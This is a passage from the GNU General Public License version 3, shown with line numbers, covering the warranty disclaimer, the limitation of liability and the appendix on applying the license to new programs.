COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------